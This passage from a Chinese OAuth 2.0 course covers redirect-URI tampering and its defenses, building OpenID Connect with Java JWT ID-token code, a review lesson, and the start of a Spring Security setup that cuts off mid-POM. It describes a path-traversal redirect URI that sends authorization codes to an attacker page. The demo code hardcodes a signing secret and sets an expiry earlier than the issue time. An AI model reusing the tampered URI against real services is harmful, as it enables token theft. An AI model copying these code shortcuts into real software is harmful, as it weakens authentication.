最后,黑客在 https://clientA.com/catch 页面上,解析Referrer头部就会得到用户的授权码,继而就可以像授权码失窃的场景中那样去换取访问令牌了。

看到这里我们就知道了,如果授权服务要求的回调URI是 https://time.geekbang.org/callback,并做了回调URI的完整性校验,那么被篡改之后的回调地址 https://time.geekbang.org/page/welcome/back.html../hacker.html 就不会被授权服务去发起重定向请求。

严格来讲,要发生这样的漏洞问题,条件还是比较苛刻的。从图6的重定向URI被篡改的流程中,也可以看到,只要我们在授权服务验证第三方软件的请求时做了签名校验,那么攻击者在只拿到授权码code的情况下,仍然无法获取访问令牌,因为第三方软件只有通过访问令牌才能够访问用户的数据。

但是,如果这些防范安全风险的规范建议你通通都没有遵守,那就是在给攻击者“大显身手”的机会,让你的应用软件以及用户遭受损失。

总结

好了,以上就是今天的主要内容了。我们一起学习了OAuth 2.0相关的常见又比较隐蔽的5种安全问题,包括CSRF攻击、XSS攻击、水平越权、授权码失窃、重定向URI被篡改。更多关于OAuth 2.0 安全方面的内容,你也可以去翻阅《OAuth 2 in Action》这本书。

通过这一讲的学习,你需要记住以下三个知识点:

  1. 互联网场景的安全攻击类型比如CSRF、XSS等,在OAuth 2.0中一样要做防范,因为OAuth 2.0本身就是应用在互联网场景中。
  2. 除了常见的互联网安全攻击,OAuth 2.0也有自身的安全风险问题,比如我们讲到的授权码失窃、重定向URI被篡改。
  3. 这些安全问题,本身从攻击的“技术含量”上并不高,但导致这些安全风险的因素,往往就是开发人员的安全意识不够。比如,没有意识到水平越权中的数据归属逻辑判断,需要加入到代码逻辑中。

其实,OAuth 2.0 的规范里面对这些安全问题都有对应的规避方式,但都要求我们使用的时候一定要非常严谨。比如,重定向URI的校验方式,规范里面是允许模糊校验的,但在结合实际环境的时候,我们又必须做到精确匹配校验才可以保障OAuth 2.0流转的安全性。

最后,我还整理了一张知识脑图,总结了这5种攻击方式的内容,来帮助你理解与记忆。

思考题

  1. 今天我们讲的这些安全问题,都是站在“守”的一方,并没有告诉你如何 “绞尽脑汁” 地利用漏洞。所谓“知己知彼,百战不殆”,现在你站在“攻”的一方来考虑下,除了重定向URI被篡改,还有什么其它的授权码被盗的场景吗?

  2. 你认为还有哪些安全风险,是专属于OAuth 2.0的吗?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 实战:利用OAuth 2.0实现一个OpenID Connect用户身份认证协议

你好,我是王新栋。

如果你是一个第三方软件开发者,在实现用户登录的逻辑时,除了可以让用户新注册一个账号再登录外,还可以接入微信、微博等平台,让用户使用自己的微信、微博账号去登录。同时,如果你的应用下面又有多个子应用,还可以让用户只登录一次就能访问所有的子应用,来提升用户体验。

这就是联合登录和单点登录了。再继续深究,它们其实都是OpenID Connect(简称OIDC)的应用场景的实现。那OIDC又是什么呢?

今天,我们就来学习下OIDC和OAuth 2.0的关系,以及如何用OAuth 2.0来实现一个OIDC用户身份认证协议。

OIDC是什么?

OIDC其实就是一种用户身份认证的开放标准。使用微信账号登录极客时间的场景,就是这种开放标准的实践。

说到这里,你可能要发问了:“不对呀,使用微信登录第三方App用的不是OAuth 2.0开放协议吗,怎么又扯上OIDC了呢?”

没错,用微信登录某第三方软件,确实使用的是OAuth 2.0。但OAuth2.0是一种授权协议,而不是身份认证协议。OIDC才是身份认证协议,而且是基于OAuth 2.0来执行用户身份认证的互通协议。更概括地说,OIDC就是直接基于OAuth 2.0 构建的身份认证框架协议。

换种表述方式, OIDC=授权协议+身份认证,是OAuth 2.0的超集。为方便理解,我们可以把OAuth 2.0理解为面粉,把OIDC理解为面包。这下,你是不是就理解它们的关系了?因此,我们说“第三方App使用微信登录用到了OAuth 2.0”没有错,说“使用到了OIDC”更没有错。

考虑到单点登录、联合登录,都遵循的是OIDC的标准流程,因此今天我们就讲讲如何利用OAuth2.0来实现一个OIDC,“高屋建瓴” 地去看问题。掌握了这一点,我们再去做单点登录、联合登录的场景,以及其他更多关于身份认证的场景,就都不再是问题了。

OIDC 和 OAuth 2.0 的角色对应关系

说到“如何利用 OAuth 2.0 来构建 OIDC 这样的认证协议”,我们可以想到一个切入点,这个切入点就是OAuth 2.0 的四种角色。

OAuth 2.0的授权码许可流程的运转,需要资源拥有者、第三方软件、授权服务、受保护资源这4个角色间的顺畅通信、配合才能够完成。如果我们要想在OAuth 2.0的授权码许可类型的基础上,来构建 OIDC 的话,这4个角色仍然要继续发挥 “它们的价值”。那么,这4个角色又是怎么对应到OIDC中的参与方的呢?

那么,我们就先想想一个关于身份认证的协议框架,应该有什么角色。你可能已经想出来了,它需要一个登录第三方软件的最终用户、一个第三方软件,以及一个认证服务来为这个用户提供身份证明的验证判断。

没错,这就是OIDC的三个主要角色了。在OIDC的官方标准框架中,这三个角色的名字是:

  • EU(End User),代表最终用户。
  • RP(Relying Party),代表认证服务的依赖方,就是上面我提到的第三方软件。
  • OP(OpenID Provider),代表提供身份认证服务方。

EU、RP和OP这三个角色对于OIDC非常重要,我后面也会时常使用简称来描述,希望你能先记住。

现在很多App都接入了微信登录,那么微信登录就是一个大的身份认证服务(OP)。一旦我们有了微信账号,就可以登录所有接入了微信登录体系的App(RP),这就是我们常说的联合登录。

现在,我们就借助极客时间的例子,来看一下OAuth 2.0的4个角色和OIDC的3个角色之间的对应关系:

OIDC 和 OAuth 2.0 的关键区别

看到这张角色对应关系图,你是不是有点 “恍然大悟” 的感觉:要实现一个OIDC协议,不就是直接实现一个OAuth 2.0协议吗。没错,我在这一讲的开始也说了,OIDC就是基于OAuth 2.0来实现的一个身份认证协议框架。

我再继续给你画一张OIDC的通信流程图,你就更清楚OIDC和OAuth 2.0的关系了:

可以发现,一个基于授权码流程的OIDC协议流程,跟OAuth 2.0中的授权码许可的流程几乎完全一致,唯一的区别就是多返回了一个 ID_TOKEN,我们称之为 ID令牌。这个令牌是身份认证的关键。所以,接下来我就着重和你讲一下这个令牌,而不再细讲OIDC的整个流程。

OIDC 中的ID令牌生成和解析方法

在图2的OIDC通信流程的第6步,我们可以看到ID令牌(ID_TOKEN)和访问令牌(ACCESS_TOKEN)是一起返回的。关于为什么要同时返回两个令牌,我后面再和你分析。我们先把焦点放在ID令牌上。

我们知道,访问令牌不需要被第三方软件解析,因为它对第三方软件来说是不透明的。但ID令牌需要能够被第三方软件解析出来,因为第三方软件需要获取ID令牌里面的内容,来处理用户的登录态逻辑。

ID令牌的内容是什么呢

首先,ID令牌是一个JWT格式的令牌。你可以到 第4讲 中复习下JWT的相关内容。这里需要强调的是,虽然JWT令牌是一种自包含信息体的令牌,为将其作为ID令牌带来了方便性,但是因为ID令牌需要能够标识出用户、失效时间等属性来达到身份认证的目的,所以要将其作为OIDC的ID令牌时,下面这5个JWT声明参数也是必须要有的。

  • iss,令牌的颁发者,其值就是身份认证服务(OP)的URL。
  • sub,令牌的主题,其值是一个能够代表最终用户(EU)的全局唯一标识符。
  • aud,令牌的目标受众,其值是三方软件(RP)的app_id。
  • exp,令牌的到期时间戳,所有的ID令牌都会有一个过期时间。
  • iat,颁发令牌的时间戳。

生成ID令牌这部分的示例代码如下:

//GENATE ID TOKEN
String id_token=genrateIdToken(appId,user);

private String genrateIdToken(String appId,String user){
    String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";//秘钥
    Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
            SignatureAlgorithm.HS256.getJcaName());//采用HS256算法

    Map<String, Object> headerMap = new HashMap<>();//ID令牌的头部信息
    headerMap.put("typ", "JWT");
    headerMap.put("alg", "HS256");

    Map<String, Object> payloadMap = new HashMap<>();//ID令牌的主体信息
    payloadMap.put("iss", "http://localhost:8081/");
    payloadMap.put("sub", user);
    payloadMap.put("aud", appId);
    payloadMap.put("exp", 1584105790703L);
    payloadMap.put("iat", 1584105948372L);

    return Jwts.builder().setHeaderParams(headerMap).setClaims(payloadMap).signWith(key,SignatureAlgorithm.HS256).compact();
}

接下来,我们再看看 处理用户登录状态的逻辑是如何处理的

你可以先试想一下,如果 “不跟OIDC扯上关系”,也就是 “单纯” 构建一个用户身份认证登录系统,我们是不是得保存用户登录的会话关系。一般的做法是,要么放在远程服务器上,要么写进浏览器的cookie中,同时为会话ID设置一个过期时间。

但是,当我们有了一个JWT这样的结构化信息体的时候,尤其是包含了令牌的主题和过期时间后,不就是有了一个“天然”的会话关系信息么。

所以,依靠JWT格式的ID令牌,就足以让我们解决身份认证后的登录态问题。这也就是为什么在OIDC协议里面要返回ID令牌的原因, ID令牌才是OIDC作为身份认证协议的关键所在

那么有了ID令牌后,第三方软件应该如何解析它呢?接下来,我们看一段解析ID令牌的具体代码,如下:

private Map<String,String> parseJwt(String jwt){
        String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";//密钥
        Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
                SignatureAlgorithm.HS256.getJcaName());//HS256算法

        Map<String,String> map = new HashMap<String, String>();
        Jws<Claims> claimsJws = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(jwt);
        //解析ID令牌主体信息
        Claims body = claimsJws.getBody();
        map.put("sub",body.getSubject());
        map.put("aud",body.getAudience());
        map.put("iss",body.getIssuer());
        map.put("exp",String.valueOf(body.getExpiration().getTime()));
        map.put("iat",String.valueOf(body.getIssuedAt().getTime()));

        return map;
    }

需要特别指出的是,第三方软件解析并验证ID令牌的合法性之后,不需要将整个JWT信息保存下来,只需保留JWT中的PAYLOAD(数据体)部分就可以了。因为正是这部分内容,包含了身份认证所需要的用户唯一标识等信息。

另外,在验证JWT合法性的时候,因为ID令牌本身已经被身份认证服务(OP)的密钥签名过,所以关键的一点是合法性校验时需要做签名校验。具体的加密方法和校验方法,你可以回顾下 第4讲

这样当第三方软件(RP)拿到ID令牌之后,就已经获得了处理身份认证标识动作的信息,也就是拿到了那个能够唯一标识最终用户(EU)的ID值,比如3521。

用访问令牌获取ID令牌之外的信息

但是,为了提升第三方软件对用户的友好性,在页面上显示 “您好,3521” 肯定不如显示 “您好,小明同学”的体验好。这里的 “小明同学”,恰恰就是用户的昵称。

那如何来获取“小明同学”这个昵称呢。这也很简单,就是 通过返回的访问令牌access_token来重新发送一次请求。当然,这个流程我们现在也已经很熟悉了,它属于OAuth 2.0标准流程中的请求受保护资源服务的流程。

这也就是为什么在OIDC协议里面,既给我们返回ID令牌又返回访问令牌的原因了。在保证用户身份认证功能的前提下,如果想获取更多的用户信息,就再通过访问令牌获取。在OIDC框架里,这部分内容叫做创建UserInfo端点和获取UserInfo信息。

这样看下来,细粒度地去看OIDC的流程就是: 生成ID令牌->创建UserInfo端点->解析ID令牌->记录登录状态->获取UserInfo

好了,利用OAuth 2.0实现一个OIDC框架的工作,我们就做完了。你可以到 GitHub 上查看这些流程的完整代码。现在,我再来和你小结下。

用OAuth 2.0实现OIDC的最关键的方法是:在原有OAuth 2.0流程的基础上增加ID令牌和UserInfo端点,以保障OIDC中的第三方软件能够记录用户状态和获取用户详情的功能。

因为第三方软件可以通过解析ID令牌的关键用户标识信息来记录用户状态,同时可以通过Userinfo端点来获取更详细的用户信息。有了用户态和用户信息,也就理所当然地实现了一个身份认证。

接下来,我们就具体看看如何实现单点登录(Single Sign On,SSO)。

单点登录

一个用户G要登录第三方软件A,A有三个子应用,域名分别是a1.com、a2.com、a3.com。如果A想要为用户提供更流畅的登录体验,让用户G登录了a1.com之后也能顺利登录其他两个域名,就可以创建一个身份认证服务,来支持a1.com、a2.com和a3.com的登录。

这就是我们说的单点登录,“一次登录,畅通所有”。

那么,可以使用OIDC协议标准来实现这样的单点登录吗?我只能说 “太可以了”。如下图所示,只需要让第三方软件(RP)重复我们OIDC的通信流程就可以了。

你看,单点登录就是OIDC的一种具体应用方式,只要掌握了OIDC框架的原理,实现单点登录就不在话下了。关于单点登录的具体实现,在GitHub上搜索“通过OIDC来实现单点登录”,你就可以看到很多相关的开源内容。

总结

在一些较大的、已经具备身份认证服务的平台上,你可能并没有发现OIDC的描述,但大可不必纠结。有时候,我们可能会困惑于,到底是先有OIDC这样的标准,还是先有类似微信登录这样的身份认证实现方式呢?

其实,要理解这层先后关系,我们可以拿设计模式来举例。当你想设计一个较为松耦合、可扩展的系统时,即使没有接触过设计模式,通过不断地尝试修改后,也会得出一个逐渐符合了设计模式那样“味道”的代码架构思路。理解OIDC解决身份认证问题的思路,也是同样的道理。

今天,我们在OAuth2.0的基础上实现了一个OIDC的流程,我希望你能记住以下两点。

  1. OAuth 2.0 不是一个身份认证协议,请一定要记住这点。身份认证强调的是“谁的问题”,而OAuth2.0强调的是授权,是“可不可以”的问题。但是,我们可以在OAuth2.0的基础上,通过增加ID令牌来获取用户的唯一标识,从而就能够去实现一个身份认证协议。
  2. 有些App不想非常麻烦地自己设计一套注册和登录认证流程,就会寻求统一的解决方案,然后势必会出现一个平台来收揽所有类似的认证登录场景。我们再反过来理解也是成立的。如果有个拥有海量用户的、大流量的访问平台,来 提供一套统一的登录认证服务,让其他第三方应用来对接,不就可以解决一个用户使用同一个账号来登录众多第三方App的问题了吗?而OIDC,就是这样的登录认证场景的开放解决方案。

说到这里,你是不是对OIDC理解得更透彻了呢?好了,让我们看看今天我为了大家留了什么思考题吧。

思考题

如果你自己通过OAuth 2.0来实现一个类似OIDC的身份认证协议,你觉得需要注意哪些事项呢?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 串讲:OAuth 2.0的工作流程与安全问题

你好,我是王新栋。

今天这一讲,我并不打算带你去解决新的什么问题,而是把我们已经讲过的内容再串一遍,就像学生时代每个学期即将结束时的一次串讲,来 “回味”下 OAuth 2.0的整个知识体系。当然了,我也会在这个过程中,与你分享我在实践OAuth 2.0的过程中,积累的最值得分享的经验。

好,接下来就让我们先串一串OAuth 2.0的工作流程吧。

OAuth 2.0工作流程串讲

我们一直在讲OAuth 2.0是一种授权协议,这种协议可以让第三方软件 代表 用户去执行被允许的操作。那么,第三方软件就需要向用户索取 授权 来获得那个令牌。

我们回想下 第1讲 拜访百度王总的例子。只有拿到前台小姐姐给你的门禁卡,你才能够进入百度大楼。这个过程就相当于前台小姐姐给你做了一次授权,而这个授权的凭证就是门禁卡。对应到我们的系统中,门禁卡便相当于访问令牌。

通过“代表”“授权”这样的关键词,我们可以认识到,OAuth 2.0是一个授权协议,也是一个安全协议。那么,如果我说它也是一种委托协议,你也不要吃惊。

试想一下,用户在微信平台上有修改昵称、修改头像、修改个人兴趣的权限,当第三方软件请求让自己代表用户来操作这些权限的时候,就是第三方软件请求用户把这些权限 委托 给自己,用户在批准了委托请求之后,才可以代表用户去执行这些操作。

这时,我们细想一下, 委托才是OAuth 2.0授权概念的根基,因为没有“委托”之意就不会有“代表”行为的发生

在整个课程讲述授权的过程中,我频繁举例和强调的就是授权码许可流程。在学习授权码流程的时候,你最困惑的一点恐怕莫过于 “为什么要多此一举,非得通过一个 授权码code 来换取访问令牌access_token”了吧。这个问题我在讲 授权码许可的整体流程 时也做过分析了,你现在回想起来应该不会再为此“痛苦不堪” 了吧。

我们再来分析下,第三方软件要获取访问令牌,只能通过两个渠道:

  • 一个渠道是第三方软件的前端页面。但是,如果直接返回到前端页面上,访问令牌是很容易被通过浏览器截获的,所以显然不可取。
  • 另外一个渠道是通过后端传输。第三方软件的后端和授权服务的后端之间通信,这样就可以避免令牌被直接暴露的问题。

再往深了想,第三方软件的后端总不能向授权服务的后端 “硬要” 吧,总要告诉授权服务是要哪个用户的access_token吧,所以还需要用户的参与。

用户一旦参与进来,访问的第一个页面是第三方软件,用户要授权,第三方软件就需要把用户引导到授权服务页面。但这个时候, 用户就跟第三方软件之间没有任何“通信连接”了。如果授权服务通过后端通信直接将令牌给了第三方软件的后端,那第三方软件该如何通知用户呢,恐怕就不太好实现了。

这种情况下就很巧妙地引入了授权码code:先把code通过重定向返回到第三方软件的页面;第三方软件通过浏览器获取到code后,再通过后端通信换取access_token;待拿到token之后,由于此时用户已经在第三方软件的服务上,所以可以很容易地通知到用户。

以上,就是授权码许可的整体工作流程了。我们说,这是OAuth 2.0授权体系中最完备的流程,其他的授权许可类型,比如资源拥有者凭据许可、客户端凭据许可、隐式许可,都是以此为基础。因此, 只要你能理解授权码许可的流程,也就掌握了整个OAuth 2.0中所有许可类型的运转机制,在实际工作场景中用上OAuth 2.0将不再是问题。

OAuth 2.0安全问题串讲

但是,到这里并没有万事大吉,我们只是解决了OAuth 2.0的基础使用的问题。要想用好、用对这个协议,成长为这个协议的应用专家,我们还必须关注OAuth 2.0的安全问题。

我们在实践OAuth 2.0的过程中,还必须按照规范建议来执行,否则便会引发一系列的安全问题。这也往往导致有的同学会发出这样的疑问,OAuth 2.0不是安全的吗?它不是一直在保护着互联网上成千上万个Web API吗,我们不也说它是一种安全协议吗?

首先我们说OAuth 2.0是安全协议没问题,但 如果使用不当也会引起安全上的问题。比如,我们在 第8讲 中提到了一个很广泛的跨站请求伪造问题。之所以出现这样的安全问题,就是因为我们没有遵循OAuth 2.0的使用建议,比如没有使用state这样的参数来做请求的校验,或者是没有遵循授权码code值只能使用一次,并且还要清除使用过的code值跟token值之间的绑定关系的建议。

在安全问题上,其实我们一直都没有特别说明一点,那就是 在使用OAuth 2.0的流程中,我们的HTTP通信要使用HTTPS协议来保护数据传输的安全性。这是因为OAuth 2.0支持的bearer令牌类型,也就是任意字符串格式的令牌,并没有提供且没有要求使用信息签名的机制。

你可能会说,JWT令牌有这样的加密机制啊。但其实,这也正说明了OAuth 2.0是一个没有约束普通令牌的规则,所以才有了JWT这样对OAuth 2.0的额外补充。

实际上,JWT跟OAuth 2.0并没有直接关系,它只是一种结构化的信息存储,可以被用在除了OAuth 2.0以外的任何地方。比如,重置密码的时候,会给你的邮箱发送一个链接,这个链接就需要能够标识出用户是谁、不能篡改、有效期5分钟,这些特征都跟JWT相符合。也就是说,JWT并不是OAuth 2.0协议规范所涵盖的内容。

OAuth 2.0似乎没有自己的规则约束机制,或者说只有比较弱的约束,但其实不是不约束,而是 它就致力于做好授权框架这一件事儿。通过我们前面的学习,也可以验证出它的确很好地胜任了这项工作。

除此之外,OAuth 2.0都是用开放的心态来提供基础的支持,比如 第9讲 中的OpenID Connect(OIDC)身份认证协议框架。这种开放的方式,使得我们可以用“OAuth 2.0+另外一个技术”来变成一个新的技术。这就是一个伟大的、可操作的组合了,可以解决不同场景的需求。

也许正是因为OAuth 2.0可以支持类似OIDC这样的身份认证协议,导致我们总是“坚持”认为OAuth 2.0是一种身份认证协议。当然了,OAuth 2.0并不是身份认证协议,我在第9讲中用“面粉”和“面包”来类比OAuth 2.0和OIDC的关系。

这里我再解释一下。究竟是什么原因导致了我们对OAuth 2.0有这样的 “误解” 呢?我想大概原因是,OAuth 2.0中确实包含了身份认证的内容,即授权服务需要让用户登录以后才可以进行用户确认授权的操作。

但这样的流程,仅仅是OAuth 2.0涉及到了身份认证的行为,还不足以让OAuth 2.0成为一个真正的用户身份认证协议。因为OAuth 2.0关心的只有两点,颁发令牌和使用令牌,并且令牌对第三方软件是不透明的;同时,受保护资源服务也不关心是哪个用户来请求,只要有合法的令牌 “递” 过来,就会给出正确的响应,把数据返回给第三方软件。

以上,就是与OAuth 2.0安全问题息息相关的内容了。讲到这里,希望你可以按照自己的理解,融会贯通OAuth 2.0的这些核心知识了。接下来,我再和你分享一个我在实践OAuth 2.0过程中感触最深的一个问题吧。

再强调都不为过的安全意识

根据我在开放平台上这些年的工作经验,安全意识是实践OAuth 2.0过程中,再怎么强调都不为过的问题。

因为总结起来, 要说使用OAuth 2.0的过程中如果能有哪个机会让你“栽个大跟头”的话,那这个机会一定是在安全上:OAuth 2.0本就是致力于保护开放的Web API,保护用户在平台上的资源,如果因为OAuth 2.0使用不当而造成安全问题,确实是一件非常 “丢人” 的事情。

而OAuth2.0的流程里面能够为安全做贡献的只有两方,一方是第三方软件,一方是平台方。在安全性这个问题上,第三方软件开发者的安全意识参差不齐。那针对这一点,就需要平台方在其官方文档上重笔描述,并给出常见安全漏洞相应的解决方案。同时,作为平台方的内部开发人员,对安全的问题同样不能忽视,而且要有更高的安全意识和认知。

只有第三方软件开发者和平台方的研发人员共同保有较高的安全意识,才能让“安全的墙”垒得越来越高,让攻击者的成本越来越高。因为安全的本质就是成本问题。

你看,我花了这么大的篇幅来和你讲解OAuth 2.0的安全问题,并单独分析了安全意识,是不是足以凸显安全性这个问题的重要程度了。没错儿,这也是你能用好OAuth 2.0的一个关键标志。

总结

好了,以上就是我们今天的主要内容了。我希望你能记住以下三点:

  1. OAuth 2.0 是一个授权协议,它通过访问令牌来表示这种授权。第三软件拿到访问令牌之后,就可以使用访问令牌来代表用户去访问用户的数据了。所以,我们说 授权的核心就是获取访问令牌和使用访问令牌
  2. OAuth 2.0 是一个安全协议,但是 如果你使用不当,它并不能保证一定是安全的。如果你不按照OAuth 2.0 规范中的建议来实施,就会有安全风险。比如,你没有遵循授权服务中的授权码只能使用一次、第三方软件的重定向URL要精确匹配等建议。
  3. 安全防护的过程一直都是“魔高一尺道高一丈”,相互攀升的过程。因此,在使用OAuth 2.0 的过程中,第三方软件和平台方都要有足够的安全意识,来把“安全的墙”筑得更高。

最后我想说的是,无论你使用OAuth 2.0目的是保护API,还是作为用户身份认证的基础,OAuth 2.0都只是解决这些问题的一种工具。而掌握OAuth 2.0这种工具的原理及其使用场景,将会帮助你更高效、更优雅地解决这些问题。

思考题

如果你是一名第三方软件的开发人员,你觉得应该如何提高自己的安全意识呢?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 实战案例:使用Spring Security搭建一套基于JWT的OAuth 2.0架构

你好,我朱晔,是 《Java业务开发常见错误100例》 专栏课程的作者。

《OAuth 2.0实战课》上线之后,我也第一时间关注了这门课。在开篇词中,我看到有一些同学留言问道:“如何使用Spring Security来实现OAuth 2.0?”这时,我想到之前自己写过一篇相关的文章,于是就直接在开篇词下留了言。后面我很快收到了不少用户的点赞和肯定,紧接着极客时间编辑也邀请我从自己的角度为专栏写篇加餐。好吧,功不唐捐,于是我就将之前我写的那篇老文章再次迭代、整理为今天的这一讲内容,希望可以帮助你掌握OAuth 2.0。

如果你熟悉Spring Security的话,肯定知道它因为功能多、组件抽象程度高、配置方式多样,导致了强大且复杂的特性。也因此,Spring Security的学习成本几乎是Spring家族中最高的。但不仅于此,在结合实际的复杂业务场景使用Spring Security时,我们还要去理解一些组件的工作原理和流程,不然需要自定义和扩展框架的时候就会手足无措。这就让使用Spring Security的门槛更高了。

因此,在决定使用Spring Security搭建整套安全体系(授权、认证、权限、审计)之前,我们还需要考虑的是:将来我们的业务会多复杂,徒手写一套安全体系来得划算,还是使用Spring Security更好?我相信,这也是王老师给出课程配套代码中,并没有使用Spring Security来演示OAuth 2.0流程的原因之一。

反过来说,如果你的应用已经使用了Spring Security来做鉴权、认证和权限管理的话,那么仍然使用Spring Security来实现OAuth的成本是很低的。而且,在学习了OAuth 2.0的流程打下扎实的基础之后,我们再使用Spring Security来配置OAuth 2.0就不会那么迷茫了。这也是我在工作中使用Spring Security来实现OAuth 2.0的直观感受。

所以,我就结合自己的实践和积累,带你使用Spring Security来一步一步地搭建一套基于JWT的OAuth 2.0授权体系。这些内容会涉及OAuth 2.0的三角色(客户端、授权服务、受保护资源),以及资源拥有者凭据许可、客户端凭据许可和授权码许可这三种常用的授权许可类型(隐式许可类型,不太安全也不太常用)。同时,我还会演示OAuth 2.0的权限控制,以及使用OAuth 2.0实现SSO单点登录体系。

这样一来,今天这一讲涉及到的流程就会比较多,内容也会很长。不过不用担心,我会手把手带你从零开始,完成整个程序的搭建,并给出所有流程的演示。

项目准备工作

实战之前,我们先来搭建项目父依赖和初始化数据库结构,为后面具体的编码做准备。

首先,我们来创建一个父POM,内含三个模块:

  • springsecurity101-cloud-oauth2-client,用来扮演客户端角色;
  • springsecurity101-cloud-oauth2-server,用来扮演授权服务器角色;
  • springsecurity101-cloud-oauth2-userservice,是用户服务,用来扮演资源提供者角色。
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://maven.apache.org/POM/4.0.0"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>me.josephzhu</groupId>
    <artifactId>springsecurity101</artifactId>
    <packaging>pom</packaging>
    <version>1.0-SNAPSHOT</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.2.1.RELEASE</version>
        <relativePath/>
    </parent>

    <modules>
        <module>springsecurity101-cloud-oauth2-client</module>
        <module>springsecurity101-cloud-oauth2-server</module>
        <module>springsecurity101-cloud-oauth2-userservice</module>
    </modules>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <java.version>1.8</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <optional>true</optional>
        </dependency>
    </dependencies>

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.cloud</groupId>
                <artifactId>spring-cloud-dependencies</artifactId>
                <version>Greenwich.SR4</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

然后,我们来创建一个oauth数据库,初始化将来会用到的5个表。

  • authorities表:记录账号的权限,需要我们在后面配置。
  • oauth_approvals表:记录授权批准的状态。
  • oauth_client_details表:记录OAuth的客户端,需要我们在后面做配置。
  • oauth_code表:记录授权码。
  • users表:记录账号,需要我们在后面做初始化。
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for authorities
-- ----------------------------
DROP TABLE IF EXISTS `authorities`;
CREATE TABLE `authorities` (
  `username` varchar(50) NOT NULL,
  `authority` varchar(50) NOT NULL,
  UNIQUE KEY `ix_auth_username` (`username`,`authority`),
  CONSTRAINT `fk_authorities_users` FOREIGN KEY (`username`) REFERENCES `users` (`username`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- ----------------------------
-- Table structure for oauth_approvals
-- ----------------------------
DROP TABLE IF EXISTS `oauth_approvals`;
CREATE TABLE `oauth_approvals` (
  `userId` varchar(256) DEFAULT NULL,
  `clientId` varchar(256) DEFAULT NULL,
  `partnerKey` varchar(32) DEFAULT NULL,
  `scope` varchar(256) DEFAULT NULL,
  `status` varchar(10) DEFAULT NULL,
  `expiresAt` datetime DEFAULT NULL,
  `lastModifiedAt` datetime DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- ----------------------------
-- Table structure for oauth_client_details
-- ----------------------------
DROP TABLE IF EXISTS `oauth_client_details`;
CREATE TABLE `oauth_client_details` (
  `client_id` varchar(255) NOT NULL,
  `resource_ids` varchar(255) DEFAULT NULL,
  `client_secret` varchar(255) DEFAULT NULL,
  `scope` varchar(255) DEFAULT NULL,
  `authorized_grant_types` varchar(255) DEFAULT NULL,
  `web_server_redirect_uri` varchar(255) DEFAULT NULL,
  `authorities` varchar(255) DEFAULT NULL,
  `access_token_validity` int(11) DEFAULT NULL,
  `refresh_token_validity` int(11) DEFAULT NULL,
  `additional_information` varchar(4096) DEFAULT NULL,
  `autoapprove` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`client_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- ----------------------------
-- Table structure for oauth_code
-- ----------------------------
DROP TABLE IF EXISTS `oauth_code`;
CREATE TABLE `oauth_code` (
  `code` varchar(255) DEFAULT NULL,
  `authentication` blob
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- ----------------------------
-- Table structure for users
-- ----------------------------
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  `enabled` tinyint(1) NOT NULL,
  PRIMARY KEY (`username`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

SET FOREIGN_KEY_CHECKS = 1;

这5个表是Spring Security OAuth需要用到的存储表,我们不要去修改既有的表结构。这里可以看到,我们并没有在数据库中创建相应的表,来存放访问令牌和刷新令牌。这是因为,我们之后的实现会使用JWT来传输令牌信息,以便进行本地校验,所以并不一定要将其存放到数据库中。基本上所有的这些表都是可以自己扩展的,只需要继承实现Spring的一些既有类即可,这里不做展开。

接下来,我们开始搭建授权服务器和受保护资源服务器。

搭建授权服务器

我们先创建第一个模块,也就是授权服务器。首先创建POM,配置依赖:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://maven.apache.org/POM/4.0.0"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <parent>
        <artifactId>springsecurity101</artifactId>
        <groupId>me.josephzhu</groupId>
        <version>1.0-SNAPSHOT</version>
    </parent>
    <modelVersion>4.0.0</modelVersion>

    <artifactId>springsecurity101-cloud-oauth2-server</artifactId>

    <dependencies>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-oauth2</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-jdbc</artifactId>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
